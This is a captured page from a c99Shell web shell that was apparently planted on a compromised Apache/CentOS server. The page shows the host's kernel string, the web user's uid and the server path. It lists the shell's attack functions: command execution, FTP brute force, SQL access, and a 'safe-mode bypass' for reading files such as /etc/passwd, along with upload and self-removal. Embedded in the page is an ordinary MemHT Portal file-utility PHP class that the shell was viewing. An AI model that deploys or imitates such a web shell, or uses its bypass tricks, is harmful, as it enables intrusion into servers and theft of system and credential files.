!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/alumni/inc/class/   drwxr-xr-x
Free 52.33 GB of 127.8 GB (40.95%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     fileUtils.class.php (4.97 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/********************************************************************************
    - MemHT Portal -
    
    Copyright (C) 2007-2008 by Miltenovik Manojlo
    http://www.memht.com
    
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your opinion) any later version.
    
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    GNU General Public License for more details.
    
    You should have received a copy of the GNU General Public License along
    with this program; if not, see <http://www.gnu.org/licenses/> (GPLv2)
    or write to the Free Software Foundation, Inc., 51 Franklin Street,
    Fifth Floor, Boston, MA02110-1301, USA.
        
********************************************************************************/
    
class fileUtils {
    
//==============================
    //DEFAULT CONFIGURATION
    //==============================
    
    //Overwrite files with same name
    
var $overwrite true;
    
    
//Show errors
    
var $show_errors true;
    
    
//==============================
    //DO NOT EDIT
    //==============================
    
var $error;
    var 
$write = array('w','w+','a','a+','x','x+');
    var 
$read = array('r','r+','w+','a+','x+');
    
    
//PHP5 Constructor
    
function __construct() {
        
$this->error "";
    }
    
//PHP4 Constructor
    
function fileUtils() {
        
$this->error "";
    }
    
    function 
readFile($file,$param="r") {
        if (
$file!="") {
            if (
in_array($param,$this->read)) {
                if (
file_exists($file)) {
                    if (
$handle = @fopen($file,$param)) {
                        if (!
$content fread($handle,filesize($file))) {
                            
$this->error "Cannot read from the file";
                        }
                        @
fclose($handle);
                    } else {
                        
$this->error "Cannot create the file handler";
                    }
                } else {
                    
$this->error "The file does not exist";
                }
            } else {
                
$this->error "Parameter <b>$param</b> not permitted, use: ".implode(",",$this->read);
            }
        } else {
            
$this->error _ERROR_NOFILESELECTED_;
        }
        if (
$this->error=="") {
            return 
$content;
        } else {
            
$this->print_error();
        }
    }
    
    function 
readFileRows($file,$param="r") {
        if (
$file!="") {
            if (
in_array($param,$this->read)) {
                if (
file_exists($file)) {
                    if (
$handle = @fopen($file,$param)) {
                        
$content = array();
                        while (!
feof($handle)) {
                            
$content[] = fgets($handle4096);
                        }
                        @
fclose($handle);
                    } else {
                        
$this->error "Cannot create the file handler";
                    }
                } else {
                    
$this->error "The file does not exist";
                }
            } else {
                
$this->error "Parameter <b>$param</b> not permitted, use: ".implode(",",$this->read);
            }
        } else {
            
$this->error _ERROR_NOFILESELECTED_;
        }
        if (
$this->error=="") {
            return 
$content;
        } else {
            
$this->print_error();
        }
    }
    
    function 
writeFile($file,$content,$param="w") {
        if (
$file!="") {
            if (
in_array($param,$this->write)) {
                
$path explode("/",$file);
                
array_pop($path);
                
$path implode("/",$path);
                if (
is_writable($path)) {
                    if (
file_exists($file) && !$this->overwrite) {
                        
$temp_name $this->file_name($file);
                        
$temp_ext $this->file_ext($file);
                        
$file $temp_name."_".$this->random_str(10).".".$temp_ext;
                    }
                    if (
$handle = @fopen($file,$param)) {
                        if (!
fwrite($handle$content)) {
                            
$this->error "Cannot write into the file";
                        }
                        @
fclose($handle);
                    } else {
                        
$this->error "Cannot create the file handler";
                    }
                } else {
                    
$this->error _FOLDER_NOT_WRITABLE_;
                }
            } else {
                
$this->error "Parameter <b>$param</b> not permitted, use: ".implode(",",$this->write);
            }
        } else {
            
$this->error _ERROR_NOFILESELECTED_;
        }
        if (
$this->error=="") {
            return 
true;
        } else {
            
$this->print_error();
        }
    }
    
    
//Check if the selected path is writable
    
function isWritable() {
        if (!
is_writable($this->path)) {
            
$this->error _FOLDER_NOT_WRITABLE_;
        }
    }
    
    
//Print errors if $show_errors is set to true (default)
    
function print_error() {
        if (
$this->show_errors) {
            echo 
"<div style='margin: 2px; padding: 2px; border: 1px solid #999; background-color: #EEE; font-family: Verdana; font-size: 10px;'>".$this->error."</div>";
        }
        return 
false;
    }
    
    
//Generate a random string
    
function random_str($length) {
        
$key "";
        
$pattern "1234567890abcdefghijklmnopqrstuvwxyz";
        for(
$i=0;$i<$length;$i++) {
            
$key .= $pattern{rand(0,35)};
        }
        return 
$key;
    }
    
    
//Return the file name
    
function file_name($name) {
        
$ext strrchr($name,'.');
        if (
$ext!=false) {
            
$name substr($name,0,-strlen($ext));
        }
        return 
$name;
    }
    
    
//Return the file extension
    
function file_ext($name) {
        return 
strtolower(end(explode('.',$name)));
    }
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0065 ]--